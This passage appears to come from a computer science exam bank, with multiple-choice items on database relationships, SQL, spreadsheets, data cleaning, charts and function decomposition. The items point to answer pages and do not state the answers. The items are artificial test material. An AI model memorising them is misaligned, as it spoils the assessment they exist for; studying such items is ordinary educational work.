                       303     | Glass Season  | 21
```

Which statement describes the relationship between the two tables as designed?

A. Many author records can relate to many book records, because author 21 appears in more than one book record.

B. One author record relates to exactly one book record, because each book has a single value in its `author_id` field.

C. One book record can relate to many author records, because the foreign key is held by the book and so names several of its authors.

D. One author record can relate to many book records, since author 21 is referred to by two books and each book holds a single `author_id`.

Answer: page 981

0002.c.3.3

A community center stores its evening workshops in one table with the fields `workshop_id`, `title`, and `tutors`. The `tutors` field holds text such as `Ng, Diaz` for a workshop taught by two people. Staff find that searching for every workshop taught by one tutor is unreliable. The redesign must keep each workshop as exactly one record, store each tutor only once, and allow a workshop to have any number of tutors. Which redesign meets these requirements?

A. Add a rule that sorts the table by the `tutors` field, so that workshops with a shared tutor appear next to each other.

B. Add a `Tutors` table, and add a third table in which each record holds one `workshop_id` and one `tutor_id` for a tutor who teaches that workshop.

C. Add columns named `tutor1`, `tutor2`, and `tutor3` to the table, and place one name in each column for the workshop.

D. Add a record for each workshop and tutor pair to the existing table, repeating the workshop title so that each tutor has a record.

Answer: page 981

0002.c.3.4

A bookstore designer lists four business rules that the database must represent. Three of the rules can each be stored by placing one foreign key field in one of the two tables involved. One rule cannot be stored that way and needs a third table. Which rule needs the third table?

A. A customer holds one loyalty card, and each loyalty card is held by exactly one customer.

B. A publisher issues many titles, and each title is issued by exactly one publisher.

C. A store clerk handles many sales, and each sale is handled by exactly one clerk.

D. A customer may reserve many titles, and each title may be reserved by many customers.

Answer: page 981

0002.c.3.5

A shop stores orders and products in two tables. Each record in `Orders` has a single `product_id` field that refers to `Products`. Order 5001 currently lists product 7, a lamp, and the customer now asks to add product 9, a bulb, to the same order. Which statement describes the difficulty with this design?

A. The `Products` table must receive an `order_id` field, since a product can be on an order only if the product refers to that order.

B. Each `Orders` record can name only one product, so an order with several products needs a third table pairing order and product identifiers.

C. A foreign key may hold a list such as `7, 9`, and a join will still match both products, so the second product can be entered in the same field.

D. A second `Orders` record that repeats the value 5001 is the intended way to give an order several products, since a primary key may repeat.

Answer: page 981

Query languages

0002.c.4.1

A park office stores trail data in the table `Hikes`, shown below. A volunteer runs the query beneath it to prepare a list of trails for visitors who want a long walk.

```
Hikes
name         | miles | difficulty
Ridge Loop   | 5     | moderate
Cedar Falls  | 3     | easy
Summit Trail | 8     | hard
Mill Creek   | 5     | easy
Lake Edge    | 2     | easy

SELECT name FROM Hikes WHERE miles >= 5
```

Which result does the query return?

A. The names Ridge Loop, Summit Trail, and Mill Creek, because each of those trails is 5 or more miles long.

B. The values 5, 8, and 5, which are the miles of the trails that meet the condition.

C. The names Cedar Falls and Lake Edge, because they are the trails with fewer than 5 miles.

D. The name Summit Trail alone, because it is the only trail longer than 5 miles, while the others only equal or fall short of it.

Answer: page 981

0002.c.4.2

A teacher keeps scores in the table `Grades`, shown below. The teacher intends to add five bonus points to Osei's score only, and runs the statement beneath the table.

```
Grades
student | score
Rivera  | 80
Osei    | 92
```

```
Tran    | 71

UPDATE Grades SET score = score + 5
```

Which statement describes the table after the statement completes?

A. Only the first record has changed, and its score is now 85, since an update stops after one row.

B. No record has changed, because the statement names no row and the database ignores it.

C. Only the record for Osei has changed, and its score is now 97, since the teacher's plan limits the update.

D. Every record has changed, and the scores are now 85, 97, and 76, because the statement contains no condition.

Answer: page 981

0002.c.4.3

A film club stores its collection in a table named `Films`, with the fields `title`, `year`, and `runtime`. A member writes the incomplete query below to list the title and runtime of every film released in 2010 or later, with the longest film first.

```
01 SELECT title, runtime
02 FROM Films
03 /* condition goes here */
04 ORDER BY runtime DESC
```

Which text belongs on line 03?

A. `WHERE year > 2010`

B. `FROM Films WHERE year >= 2010`

C. `WHERE runtime >= 2010`

D. `WHERE year >= 2010`

Answer: page 981

0002.c.4.4

A school secretary with no programming experience asks a database specialist for the names of all students who owe a lunch balance. The specialist writes one short statement that names the table, the column wanted, and the condition to meet, and gives no instructions about how the database should look through the records. Which statement best describes this feature of the language?

A. The statement controls how the list of names is formatted on the screen, since the language describes appearance.

B. The statement describes the wanted result, and the database system decides the steps for finding it.

C. The statement must be rewritten as a loop by the specialist before the database system can run it.

D. The statement lists the order in which each record is examined, and the secretary can change that order later.

Answer: page 981

0002.c.4.5

A principal wants the names of the staff in the Art department, with the highest salary first, from a table `Staff` that has the fields `name`, `department`, and `salary`. A teacher writes the query below, and the database reports a syntax error.

```
01 SELECT name
02 FROM Staff
03 ORDER BY salary DESC
04 WHERE department = 'Art'
```

Which statement explains the error?

A. The `WHERE` clause may use only columns listed after `SELECT`, and `department` is not one of them.

B. The `DESC` keyword cannot be used together with a `WHERE` clause, since it sorts every record and the condition then has nothing left to test.

C. The `WHERE` clause must come before the `ORDER BY` clause, so a condition cannot follow the sorting instruction.

D. The `ORDER BY` clause may name only a column that appears after `SELECT`, and `salary` is not one of them.

Answer: page 981

Search, sort, and filter

0002.c.5.1

A club treasurer keeps dues in a spreadsheet with six students in rows 2 through 7. After the treasurer filters the sheet to show only the Chess club, the screen shows the rows below. Cell C8 contains the formula `=SUM(C2:C7)`, and the treasurer expected it to show the total dues of the Chess club, which is 60.

```
    A         B         C
1   student   club      dues
2   Ana       Chess     20
```

```
4   Cho       Chess     25
6   Eli       Chess     15
8   Total               150
```

Which statement best explains why cell C8 shows 150?

A. The filter hid rows 3, 5, and 7 without deleting them, and the formula still adds the values in those hidden rows.

B. The filter copied the matching rows to a second location, and the formula adds both the originals and the copies.

C. The formula has not yet been recalculated since the filter was applied, and it will show 60 once it is refreshed.

D. The filter reordered the rows, so the formula now adds the dues of different students than before the filter.

Answer: page 981

0002.c.5.2

A teacher has a sheet with student names in column A and test scores in column B. The teacher selects only column B and sorts it from lowest to highest. Afterward, the scores appear in the correct order, but every score now sits beside the name of a different student. Which action would have kept each name beside its own score?

A. Sort the scores from highest to lowest instead, since a reversed order does not separate any of the rows from their names.

B. Filter the score column for values above zero before sorting, so that only the valid rows in the sheet are reordered.

C. Sort the names in column A as well, using the same direction, so that both columns are in order.

D. Select every column of the data before sorting by score, so that each complete row moves together.

Answer: page 981

0002.c.5.3

A teacher's program checks whether a student appears on a roster. The `search` method returns an array of two integers, the row and then the column of the first match, or `NULL` when there is no match. The program reports where the name "Park" was found.

```
01 String[] roster = ["Ito", "Ndlovu", "Park", "Quinn", "Park"]
02 String name = "Park"
03 int[] found = roster.search(name)
04 if (found == NULL)
```

```
05   output("absent")
06 else
07   output(found[1])
```

Which output does the program produce?

A. `>>> 2`

B. `>>> absent`

C. `>>> 0`

D. `>>> 4`

Answer: page 982

0002.c.5.4

A program is meant to display only the grade 10 students from a roster while keeping every student in the roster, so that the number of enrolled students can be output last. The program outputs 3, although five students are enrolled.

```
01 int[] grades = [10, 9, 10, 11, 10]
02 int i = 0
03 while (i < grades.size[1])
04   if (grades[i] != 10)
05     grades.del(i)
06   else
07     i = i + 1
08 output(grades.size[1])
```

Which statement best explains why the program outputs 3?

A. The loop removes the records that fail the condition from the array itself, so the full roster is lost instead of hidden.

B. The comparison `!=` keeps the grade 10 records, so the count covers the records that matched the condition and ignores the rest.

C. The loop skips the entry after each deleted one because the indexes shift, so some grades are not tested and stay in the array.

D. The expression `grades.size[1]` counts only the values equal to 10, so it cannot report five students.

Answer: page 982

0002.c.5.5

A data analyst opens a sheet of fourteen cities and applies one operation. The row numbers along the left edge of the sheet now read 2, 5, 6, 10, and 14, and the cells in those rows all contain the

region East. The analyst did not move or delete any cell by hand. Which statement is best supported by this evidence?

A. The other rows still exist in the file but are hidden, because they do not meet a condition.

B. The other rows were moved below the displayed rows, as happens when the sheet is sorted by region.

C. The other rows were deleted from the sheet, so they are not recovered by changing the operation.

D. The displayed rows are the matches found by a search, and the search leaves the other rows blank.

Answer: page 982

Data cleaning

0002.c.6.1

A school collects a survey of 400 families through an online form. The column for the family's state contains the entries `NY`, `New York`, `N.Y.`, and `ny`, which all mean the same state. A counselor must report how many families live in each state, and the first count lists the four spellings as separate groups. Which step should be taken before the families are counted again?

A. Sort the column alphabetically, so that the entries that mean the same state are grouped into one count.

B. Count each group as it appears and standardize only the final summary table, since cleaning does not change counts already made.

C. Convert every spelling of a state to a single agreed form, so that matching entries fall into one group.

D. Delete every record whose state is not written exactly as `NY`, so that only consistent entries remain.

Answer: page 982

0002.c.6.2

In a gradebook export, the value -99 marks a student who was absent for a test. A teacher writes the program below to report how many students took the test and the class average on it, expecting the average to be near the typical score of those students.

```
01 /* -99 marks a student who was absent */
02 int[] scores = [80, -99, 90, 70, -99]
03 int total = 0
04 int sat = 0
05 for (int i = 0; i < scores.size[1]; i = i + 1)
```

```
06   total = total + scores[i]
07   if (scores[i] != -99)
08     sat = sat + 1
09 int average = total / scores.size[1]
10 output(sat)
11 output(average)
```

Which statement correctly gives the output and the reason for it?

A. The program displays `3` and then `42`, because the total is output before it is divided by the number of scores.

B. The program displays `3` and then `48`, because each absent code is read as a score of zero and still counted.

C. The program displays `3` and then `8`, because the two -99 codes are added to the total and counted among the five scores.

D. The program displays `3` and then `80`, because the loop ignores negative values, since a value below zero cannot be a score on a test.

Answer: page 982

0002.c.6.3

A bookstore exports its sales to the table shown below, and an analyst wants to remove duplicate records before counting how many sales took place. Each sale has its own `order_id`.

```
order_id | customer | item     | date
1041     | Alvarez  | Notebook | 2026-03-04
1042     | Alvarez  | Notebook | 2026-03-04
1043     | Brandt   | Marker   | 2026-03-05
1043     | Brandt   | Marker   | 2026-03-05
```

Which rule would remove only the records that are true duplicates?

A. Remove a record that matches an earlier record in customer, item, and date, since those fields describe one purchase.

B. Remove a record that shares an item with an earlier record, since a repeated item suggests that the same sale was entered twice.

C. Remove a record for any customer who already has one, so that each customer appears in a single record.

D. Remove a record whose `order_id` already appears in an earlier record, since a sale is entered only once.

Answer: page 982

0002.c.6.4

A survey of 200 families asks for monthly household income, and 40 families left the question blank. To avoid empty cells, an analyst types 0 in each blank and then calculates the average income of all 200 rows. Which statement best describes the effect of this step?

A. The average is lower than the typical income of the families that answered, because the zeros are treated as real reported incomes.

B. The average is more accurate, because replacing a blank with a number is the standard way to handle missing values.

C. The average is higher, because a column without blank cells is more representative of the 200 families than one with missing entries.

D. The average is unaffected, because zeros add nothing to the sum of the incomes and so cannot change the result.

Answer: page 982

0002.c.6.5

A weather club prepares a report on monthly temperatures, and the averages and charts have already been copied into the report. The club then discovers that one volunteer entered about a third of the readings in degrees Fahrenheit, although the rest of the column is in degrees Celsius. Which statement describes the effect on the report?

A. The averages and charts are affected only where the mistaken values were large enough to stand out as outliers.

B. The averages and charts built from the column are all affected and must be created again from the corrected data.

C. The averages and charts are unaffected, because the mistaken values are spread across months and cancel out.

D. The averages and charts remain valid, because cleaning is meant to follow the analysis as a way of polishing the final report.

Answer: page 982

Transforming data

0002.c.7.1

A manager has a list of individual sales, each with the store where it occurred and the amount in dollars. The manager wants one total for each store, and a program is written to produce the totals from the two lists.

```
01 String[] stores = ["North", "East", "North", "East", "North"]
02 int[] amounts = [40, 25, 15, 30, 10]
```

```
03 String int{} totals = {"North": 0, "East": 0}
04 for (int i = 0; i < stores.size[1]; i = i + 1)
05   String store = stores[i]
06   totals{store} = totals{store} + amounts[i]
07 output(totals{"North"})
08 output(totals{"East"})
```

Which statement correctly describes the output?

A. The program displays `65` and then `55`, because each sale is added to the running total of its own store.

B. The program displays `120` and then `120`, because every sale is added to the total of both stores.

C. The program displays `10` and then `30`, because each assignment replaces the stored total with the latest sale made at that store.

D. The program displays `3` and then `2`, because the program counts the sales made at each store.

Answer: page 982

0002.c.7.2

A teacher's spreadsheet lists each student's score on a September test in column B and on a December test in column C. The teacher wants to know which students improved by more than 10 points between the two tests. Which transformation answers this question most directly?

A. Sort the rows by the December score from highest to lowest, then read the top rows to find the students who improved.

B. Calculate a new column that holds the sum of the two scores for each student, then check which sums are largest.

C. Aggregate the scores into one average for each test, then compare the two averages to see the change for the class.

D. Calculate a new column of December minus September scores for each student, then check which values exceed 10.

Answer: page 982

0002.c.7.3

A school district keeps one spreadsheet with a `student_id` column and each student's grade level, and another with a `student_id` column and each student's lunch balance. An analyst joins the two sheets on `student_id` and receives no matching rows. Inspection shows that the first sheet writes the identifiers with leading zeros, such as `0451`, and the second writes the same students as `451`. Which step should the analyst take before joining again?

A. Leave the identifiers as they are, because a join compares the numeric values and the sheets differ only in display.

B. Join on the grade level and the lunch balance instead, because those columns contain numbers.

C. Sort both sheets by `student_id`, so that equal students occupy the same row position in each.

D. Convert the identifiers in both sheets to the same format, so that each student has an identical value in each.

Answer: page 983

0002.c.7.4

A program totals the points that each of two teams scored in three rounds, stored one team per row in a two-dimensional array. The program should display one total for each team, `8` for the first and `7` for the second, but it displays `8` and then `15`.

```
01 int[][] points = [[3, 5, 0], [2, 4, 1]]
02 int total = 0
03 for (int r = 0; r < points.size[0]; r = r + 1)
04   /* statement goes here */
05   for (int c = 0; c < points.size[1]; c = c + 1)
06     total = total + points[r, c]
07   output(total)
```

Which statement placed on line 04 would make the program display the expected totals?

A. `total = 0`

B. `total = points[r, 0]`

C. `r = 0`

D. `c = 0`

Answer: page 983

0002.c.7.5

An analyst has a table of 1,200 individual bicycle trips, with the start station, the end station, and the minutes of each trip. A second table produced from it has 40 rows, one for each start station, and a column named `avg_minutes`. Which statement best describes how the second table was produced?

A. The trips were grouped by start station, and the minutes in each group were combined into an average.

B. The trips table was joined to a table of stations, and the join averaged the minutes while matching.

C. The trips were filtered to keep only the longest trip from each start station.

D. A new column of average minutes was calculated for each trip, which left the number of rows unchanged.

Answer: page 983

Choosing a visualization

0002.c.8.1

A school cafeteria recorded how many servings of each of six lunch items were sold on a single Tuesday. The manager wants to see which items sold the most, to decide which to order in larger amounts. Which visualization is most appropriate?

A. A bar chart with one bar for each lunch item, so that the six sales counts can be compared side by side.

B. A line chart with the lunch items along the horizontal axis, so that the change from one item to the next is visible.

C. A scatter plot with the lunch items on one axis and the servings on the other, so that a relationship can be seen.

D. A histogram with one bin for each lunch item, so that the way servings are distributed can be seen.

Answer: page 983

0002.c.8.2

A teacher has a data set of 120 students with the columns `homeroom`, `minutes_reading`, `vocab_score`, and `grade_level`. The teacher plans to draw a scatter plot using two of the columns. Which question would that scatter plot be best suited to answer?

A. how many students belong to each homeroom.

B. what range of vocabulary scores is most common among the 120 students.

C. whether students who read more minutes tend to have higher vocabulary scores.

D. how the combined reading minutes of the grade levels compare with one another.

Answer: page 983

0002.c.8.3

A student records the commute times, in minutes, of ten classmates. The program below counts how many of the times fall into three intervals, and the student wants to draw one chart that displays the three counts.

```
01 int[] minutes = [12, 35, 8, 41, 22, 15, 38, 27, 9, 17]
02 int[] bins = [0, 0, 0]
03 for (int i = 0; i < minutes.size[1]; i = i + 1)
04   if (minutes[i] < 20)
```

```
05     bins[0] = bins[0] + 1
06   elseif (minutes[i] < 40)
07     bins[1] = bins[1] + 1
08   else
09     bins[2] = bins[2] + 1
10 output(bins[0])
11 output(bins[1])
12 output(bins[2])
```

Which chart is most appropriate for the values that the program outputs?

A. A histogram, with adjacent bars for the intervals under 20, 20 to 39, and 40 or more minutes, to show the distribution of commute times.

B. A scatter plot, with each count plotted against the next, to show whether long commutes are related to short commutes.

C. A bar chart, with one bar for each classmate, to compare the commute times of the ten students against one another and against the class.

D. A line chart, with a point for each count joined to the next, to show how commute times changed from one interval to the next.

Answer: page 983

0002.c.8.4

A student plots the average height of five tree species in a line chart, placing the species along the horizontal axis in alphabetical order and joining the five points with a line. The line slopes steadily downward, and the student writes that trees become shorter as they age. Which statement best identifies the flaw in the chart?

A. The chart should be a scatter plot, since a scatter plot is the chart that compares five separate values.

B. The line joins unrelated categories, since the species have no order or trend that a sloping line could represent.

C. The axes are reversed, since the species should be listed vertically and the heights should be horizontal, as in a standard chart of this kind.

D. The chart contains too few points, so more species must be added before the slope can be reliable.

Answer: page 983

0002.c.8.5

A district office has the yearly enrollment of two schools for each of the last ten years, and it wants a single chart for a board meeting that shows how each school's enrollment changed over the decade

and lets the two be compared. Which design is most appropriate?

A. A line chart with the years along the horizontal axis and one line for the enrollment of each school.

B. A histogram that combines the twenty yearly enrollments into intervals of one hundred students and counts the values in each.

C. A bar chart that shows only the total enrollment of each school across all ten years.

D. A scatter plot with one school's enrollment on each axis and a point for each year.

Answer: page 983

Misleading visualizations

0002.c.9.1

A district newsletter publishes a chart of the percentage of Algebra I students who passed the state test. The chart is specified below. In the printed chart, the bar for 2026 is four times as tall as the bar for 2025, and the headline says the pass rate has soared.

```
Chart: Algebra I pass rate (percent)
Type: vertical bar chart
Bar for 2025: 81
Bar for 2026: 84
Vertical axis: from 80 to 85
```

Which statement best describes the problem with the chart?

A. The vertical axis begins at 80 instead of zero, which makes a difference of 3 points look like a fourfold change.

B. The bars are not labeled with their exact values, and without labels the heights are not trustworthy.

C. The bars have different heights, and unequal bar heights are a sign of a misleading chart.

D. The chart plots only two years, and a chart with just two points is misleading however its axis is drawn.

Answer: page 983

0002.c.9.2

A newsletter places two bar charts side by side, one for each of two classes. Each chart shows the total minutes of reading in each of five weeks, and the tallest bar in each chart reaches almost the same height. The vertical axis of the first chart runs from 0 to 60, and the vertical axis of the second chart runs from 0 to 300. A viewer concludes that the two classes read about the same amount. Which statement best evaluates the conclusion?

A. The conclusion is supported, because the data points in each chart are accurate and the bars in both charts are drawn with equal widths.

B. The conclusion is unsupported, because five weeks of data are too few for a comparison between two classes.

C. The conclusion is unsupported, because the two vertical axes cover different ranges, so equal bar heights stand for different amounts.

D. The conclusion is supported, because both charts start at zero, and starting at zero makes two charts comparable.

Answer: page 983

0002.c.9.3

A cafe owner presents a line chart of monthly revenue to a prospective investor. The chart shows only June, July, and August of the previous year, and the line rises steadily through all three months. Revenue was lower in the other nine months than in June, and every plotted value matches the cafe's records. Which statement best evaluates the chart?

A. The chart is misleading because the three months are not equally spaced along the horizontal axis.

B. The chart is misleading because a line chart cannot be used for revenue, which must be shown with bars since revenue amounts are separate categories.

C. The chart is reliable, because every plotted value was checked against the cafe's revenue records.

D. The chart is misleading although every value is accurate, because the omitted months would change a viewer's impression of the year.

Answer: page 984

0002.c.9.4

A town's population was recorded in 1990, 2000, 2010, 2015, 2018, and 2020. A line chart places the six years at equal distances along the horizontal axis, and its vertical axis starts at zero. The population rose by the same amount between each pair of neighboring points, so the line looks straight, and a viewer concludes that the population grew at a steady rate for thirty years. Which statement best describes the flaw?

A. The years are labels and not quantities, so they cannot be placed along an axis at all.

B. The vertical axis starts at zero, which squeezes the changes together, so the growth looks smaller than it is and the line looks flatter.

C. The horizontal axis gives equal space to unequal spans of time, so the straight line hides how the population grew faster later.

D. The line contains six points, which is too many for a line chart to show the slope accurately.

Answer: page 984

0002.c.9.5

A student writes in a critique of a school-news graphic: "This chart cannot be misleading, because I compared every bar with the spreadsheet and each height matches its number." Which response best evaluates the claim?

A. The claim is incorrect, because accurate points can still mislead through a truncated axis, inconsistent scales, or a selected subset of the data.

B. The claim is correct, because a chart misleads through plotted values that differ from the number in the data.

C. The claim is correct for bar charts, because the length of a bar represents its value fairly.

D. The claim is incorrect, because a chart misleads through color or decoration that draws the viewer's attention toward a particular point.

Answer: page 984

Spreadsheet tools

0002.c.10.1

A teacher builds the spreadsheet below to total the cost of classroom supplies. The formula in cell D2 multiplies the price by the quantity. The teacher then copies cell D2 and pastes it into cells D3 and D4.

```
    A        B       C          D
1   item     price   quantity   total
2   Pen      2       10         =B2*C2
3   Tape     4       3
4   Stapler  9       2
```

Which statement describes cell D4 after the paste?

A. Cell D4 holds `=B4*C4` but displays `20`, because a paste keeps the value of the cell that was copied and does not recalculate it.

B. Cell D4 holds `=B3*C3` and displays `12`, because each pasted formula refers to the row above it.

C. Cell D4 holds `=B4*C4` and displays `18`, because each pasted formula shifts its references by the rows it moved.

D. Cell D4 holds `=B2*C2` and displays `20`, because a pasted formula is copied exactly as written.

Answer: page 984

0002.c.10.2

A student council treasurer enters about 150 spending entries during the school year, with a date, a category, and an amount for each. Only the treasurer edits the entries, and the council needs category totals and a bar chart for its quarterly report. Which tool best fits this use?

A. A spreadsheet, because it supports formulas, sorting, and charts, which suit a small data set that one person updates.

B. A relational database system, because its tables prevent entry errors, which a spreadsheet does not do.

C. A text document with each entry written as a paragraph, because 150 entries are too few to need structure.

D. A relational database system, because a database calculates totals from the records of a table and a spreadsheet does not.

Answer: page 984

0002.c.10.3

A county licensing office keeps forty shared spreadsheets, one for each inspector, listing licensed businesses and their inspections. More than two hundred staff members enter data throughout the day, and the same business often appears in several spreadsheets. The office considers moving the data into a relational database. Which statement gives the strongest reason for moving?

A. A database can keep related records in one shared place, so that many staff can update them without separate copies.

B. A database stores data in less space, so the office can keep the same spreadsheets while using far fewer files and servers.

C. A database can calculate summaries by group, which a spreadsheet's pivot tables do not do.

D. A database removes the need to clean data, because its tables reject mistaken entries on their own.

Answer: page 984

0002.c.10.4

A school keeps separate spreadsheets for its robotics club, chess club, and drama club, and each lists the faculty advisor's name and email address. When Ms. Haas changes her email address, the secretary corrects the robotics spreadsheet only, and later a mailing sent from the chess spreadsheet reaches the old address. Which database design would most directly prevent this inconsistency?

A. A `Teachers` table that holds each teacher's email once, with club records that refer to the teacher by identifier.

B. A sort of the sheets by teacher name, so that the entries for one teacher are easy to find and correct.

C. A single sheet with a row for each teacher and club pair, repeating the teacher's email address in each row.

D. A filter on the sheets that hides outdated email addresses once a change has been made to the mailing list.

Answer: page 984

0002.c.10.5

A sales spreadsheet lists five sales, each with a region, a representative, and an amount. A summary table beside it contains two rows: East, with 200, and West, with 120. The five original rows are East 120, West 80, East 60, West 40, and East 20. Which operation most likely produced the summary table?

A. A filter that hides every row except the largest amount in each region.

B. A pivot table that groups the rows by region and averages the amounts in each group.

C. A pivot table that groups the rows by region and adds up the amounts in each group.

D. A sort that places the rows of each region together and shows the last amount.

Answer: page 984

0002.d Decomposition and functions

Read about this in the content summary: 0002.d, page 56.

Decomposition

0002.d.1.1

A school counselor uses the program below to summarize ten days of absence counts for a class of 30 students. It reports the total number of absences, the longest stretch of days with no absences, the absence rate as a percentage, and a label for the office.

```
01 int[] absences = [0, 2, 0, 0, 1, 0, 0, 0, 3, 0]
02 int total = 0
03 int best = 0
04 int run = 0
05 for (int i = 0; i < absences.size[1]; i = i + 1)
06   total = total + absences[i]
07   if (absences[i] == 0)
08     run = run + 1
09     if (run > best)
10       best = run
```

```
11   else
12     run = 0
13 int rate = total * 100 / (absences.size[1] * 30)
14 String label = "good"
15 if (rate > 5)
16   label = "review"
17 output(total)
18 output(best)
19 output(rate)
20 output(label)
```

A reviewer wants to confirm each of the four results with its own small set of sample data, and cannot currently check the stretch calculation without also running everything else. Which restructuring of the program would best satisfy the reviewer?

A. one function named `summarize` that holds all of the statements in their current order, with a comment above each group naming the result that the group calculates

B. four functions that take no arguments and share the variables `total`, `best`, `run`, and `rate`, with each function changing values that the next function reads

C. two functions of about ten lines each, the first holding every statement through the end of the loop and the second holding all of the statements after it

D. separate functions that return the total of an array, the longest run of zeros in an array, a rate given a total, and a label given a rate, each testable alone

Answer: page 984

0002.d.1.2

A computer science student has divided a quiz-score program into the three functions below and has written a short test for each. The student expected the program to display `60`, `20`, and `50`, but it displays `50`, `17`, and `30`.

```
01 function total(int[] v)
02   int sum = 0
03   for (int i = 1; i < v.size[1]; i = i + 1)
04     sum = sum + v[i]
05   return sum
06
07 function mean(int[] v)
08   return total(v) / v.size[1]
09
10 function drop_lowest(int[] v)
11   int low = 0
12   for (int i = 1; i < v.size[1]; i = i + 1)
13     if (v[i] < v[low])
14       low = i
```

```
15   v.del(low)
16   return v
17
18 int[] quiz = [10, 20, 30]
19 output(total(quiz))
20 output(mean(quiz))
21 output(total(drop_lowest(quiz)))
```

Given the three results, how should the student most efficiently proceed?

A. begin with `total`, since its direct test calls no other function and still fails, and the other two tests depend on `total` and may fail with it

B. begin with `drop_lowest`, since it is the only function that changes its array, and a changed array can disturb the results of all three tests

C. combine the three functions into one, since three failed tests show that the fault lies in how the functions interact rather than in any one of them

D. begin with `mean`, since the true average of these scores is `20`, and a result of `17` suggests a rounding error that has spread to the other tests

Answer: page 984

0002.d.1.3

A student club plans a program that assigns volunteers to shifts at a school fair. The program must read each volunteer's availability, match volunteers to open shifts without booking anyone twice, and print one schedule for each volunteer. Before any code is written, the members propose several ways to divide the work among themselves. Which proposal would most help the members to write, check, and later understand each part without having to consider the others?

A. a part made up of the first hundred lines of the program and a part made up of the rest, so that two members write about the same amount of code

B. a part holding the program's variables, a part holding all of its loops, and a part holding all of its conditional statements, so that similar statements stay together

C. a part that reads availability into a table, a part that produces matches from such a table, and a part that prints schedules from a list of matches

D. a separate copy of the whole program for each day of the fair, in which each copy reads, matches, and prints the volunteers for that day only

Answer: page 985

0002.d.1.4

A student's shipping program is shown below. The carrier then announces a new price: parcels under 5 kilograms will now cost `6` rather than `4`. All other prices, and the rule for free shipping,

remain the same.

```
01 function rate_for(int weight)
02   if (weight < 5)
03     return 4
04   elseif (weight < 20)
05     return 9
06   return 15
07
08 function total_cost(int[] weights)
09   int cost = 0
10   for (int i = 0; i < weights.size[1]; i = i + 1)
11     cost = cost + rate_for(weights[i])
12   return cost
13
14 function free_shipping(int cost)
15   return cost >= 30
16
17 int[] parcels = [3, 12, 25]
18 int cost = total_cost(parcels)
19 output(cost)
20 output(free_shipping(cost))
```

Which statement most accurately describes the work that this structure requires for the new price?

A. Only `rate_for` is edited, since the other functions only receive its result, and it can be rechecked by calling it directly with a few sample weights.

B. Both `rate_for` and `free_shipping` are edited, since the total passed to `free_shipping` will be larger and its comparison must be recalculated by hand.

C. Both `rate_for` and `total_cost` are edited, since a function that receives a changed value must have its own calculation revised to accept it.

D. The three functions are first merged into one, since a price rule that affects the final total can be verified only where that total is displayed.

Answer: page 985

0002.d.1.5

A teacher uses the program below to find the highest score among a set of answer sheets, where each row of `sheets` holds one student's answers. The teacher now wants to confirm that a single sheet is scored correctly, by trying sheets whose correct scores are already known, without considering the other sheets or the search for the highest score.

```
01 String[] key = ["A", "C", "B", "D"]
02 String[][] sheets = [["A", "C", "D", "A"], ["B", "C", "B", "D"]]
03 int best = 0
04 for (int s = 0; s < sheets.size[0]; s = s + 1)
```

```
05   int right = 0
06   for (int q = 0; q < key.size[1]; q = q + 1)
07     if (sheets[s, q] == key[q])
08       right = right + 1
09   if (right > best)
10     best = right
11 output(best)
```

Which function, created from a portion of this program, would best meet this need?

A. `update_best(int right)`, holding the comparison with `best` and the assignment to `best`, and displaying the highest score each time it is called

B. `score(String[][] all, int row, String[] answers)`, holding the inner loop and returning the number of matches in the given row, for the caller to compare

C. `check(int q)`, holding only the inner `if` statement, reading `s`, `key`, and `right` from the surrounding program, and adding to `right` when a question matches

D. `grade_all()`, holding both loops and the comparison with `best`, taking no arguments, and displaying the highest score once all of the sheets have been read

Answer: page 985

Top-down and bottom-up planning

0002.d.2.1

Two students begin the same assignment, a program that sells seats for a school play. The first student's work so far is shown below, and the program can already be run.

```
01 function sell_seats(int requested)
02   /* find_open_seats: to be written */
03   /* charge_customer: to be written */
04   /* print_tickets: to be written */
05   return requested
06
07 output(sell_seats(2))
```

The second student has not yet considered how the whole program will be organized. That student has written and tested a function that decides whether two seats are next to each other, and is now writing a function that calculates a price. Which statement best compares the two students' approaches?

A. The first student is dividing the whole task into parts to be completed later, and the second student is preparing small tested pieces to combine into the whole later.

B. The first student is reusing existing library functions by naming them in comments, and the second student is rewriting those same library functions from nothing.

C. The first student's work is not yet design, since design begins only when functions have been tested, and so only the second student has actually started the assignment.

D. The two students are following one approach, since a function has been written first in both cases, and the order in which parts are developed has no bearing on the approach.

Answer: page 985

0002.d.2.2

Four students each take one part of a program that manages a school's lost-and-found office, and they agree to work separately until the final week. Every student writes and thoroughly tests a function alone. In the final week, one function returns item descriptions as a single `String`, while the function that needs them expects an array of words, and a similar mismatch appears in two other places. Which step, taken before the students separated, would have most directly prevented these problems?

A. giving each function a longer and more descriptive name, so that the other students could determine at a glance what the function does

B. assigning all of the parts to a single student, so that the program would be written from its first line to its last line in order

C. sketching the program as a whole and settling what each part would receive from the others and return to them, before coding began

D. requiring each student to test each function with a greater number of sample values before the final week began

Answer: page 985

0002.d.2.3

Two students are writing a program for a parking office, which charges `5` per hour for a stay of up to two hours beyond the start time and a flat `20` for any longer stay. Times are stored as minutes after midnight. Each student writes and tests one function alone, and the comments below record their tests.

```
01 /* tested: minutes_late(615, 540) gives 75 */
02 function minutes_late(int arrival, int start)
03   return arrival - start
04
05 /* tested: fee(1) gives 5, and fee(3) gives 20 */
06 function fee(int hours_late)
07   if (hours_late > 2)
08     return 20
09   return 5 * hours_late
10
11 /* combined after both tests passed */
```

```
12 int[] arrivals = [615, 545]
13 int start = 540
14 int due = 0
15 for (int i = 0; i < arrivals.size[1]; i = i + 1)
16   int late = minutes_late(arrivals[i], start)
17   due = due + fee(late)
18 output(due)
```

The office expected the result `5`, since the drivers stayed about one hour and about no time at all, but the program displays `40`. Which statement best identifies the weakness in how this program was developed?

A. The students should have written the combined loop before any other code, since functions written before the main program cannot later be connected correctly.

B. The parameters of `fee` should be `float`, since a count of minutes cannot be represented accurately in an `int` variable that is passed to a function.

C. The students tested their functions but never agreed on the unit of time passed between them, which an overall plan made at the outset should have settled.

D. The tests in the comments used too few values, and a longer list of test values for each function would have revealed that `fee` gives a wrong result.

Answer: page 985

0002.d.2.4

A programmer building a checkout program for a school store has not yet decided how discounts will work. The programmer writes the version below and runs it to see whether the program holds together.

```
01 function read_cart()
02   int[] prices = [12, 30, 8]
03   return prices
04
05 function discount(int total)
06   /* placeholder: the real rules are not yet decided */
07   return 0
08
09 function receipt(int total, int off)
10   output(total)
11   output(off)
12   output(total - off)
13
14 function checkout()
15   int[] cart = read_cart()
16   int total = 0
17   for (int i = 0; i < cart.size[1]; i = i + 1)
```

```
18     total = total + cart[i]
